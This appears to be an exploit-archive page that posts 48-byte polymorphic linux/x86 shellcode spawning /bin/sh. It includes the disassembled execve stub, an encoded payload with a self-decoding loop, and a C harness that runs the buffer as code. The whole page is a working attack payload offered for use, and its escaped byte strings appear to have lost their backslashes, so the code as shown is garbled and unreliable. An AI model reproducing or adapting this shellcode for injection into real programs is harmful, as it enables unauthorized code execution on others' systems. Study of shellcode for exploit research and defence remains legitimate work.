[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 /bin/sh polymorphic shellcode 48 bytes
# Published : 2009-08-11
# Author : Jonathan Salwan
# Previous Title : linux/x86 Polymorphic shellcode disable Network Card 75 bytes
# Next Title : Windows x86 null-free bindshell for Windows 5.0-7.0 all service packs
/*
Title: Polymorphic Shellcode /bin/sh - 48 bytes
Author: Jonathan Salwan
Mail: submit [!] shell-storm.org
! DataBase of shellcode : http://www.shell-storm.org/shellcode/
Original Informations
=====================
Disassembly of section .text:
08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: 99 cltd
8048074: b0 0b mov $0xb,%al
8048076: cd 80 int $0x80
*/
#include "stdio.h"
char shellcode[] = "xebx11x5ex31xc9xb1x32x80"
"x6cx0exffx01x80xe9x01x75"
"xf6xebx05xe8xeaxffxffxff"
"x32xc1x51x69x30x30x74x69"
"x69x30x63x6ax6fx8axe4x51"
"x54x8axe2x9axb1x0cxcex81";
int main()
{
printf("Polymorphic Shellcode - length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
// www.Syue.com [2009-08-11]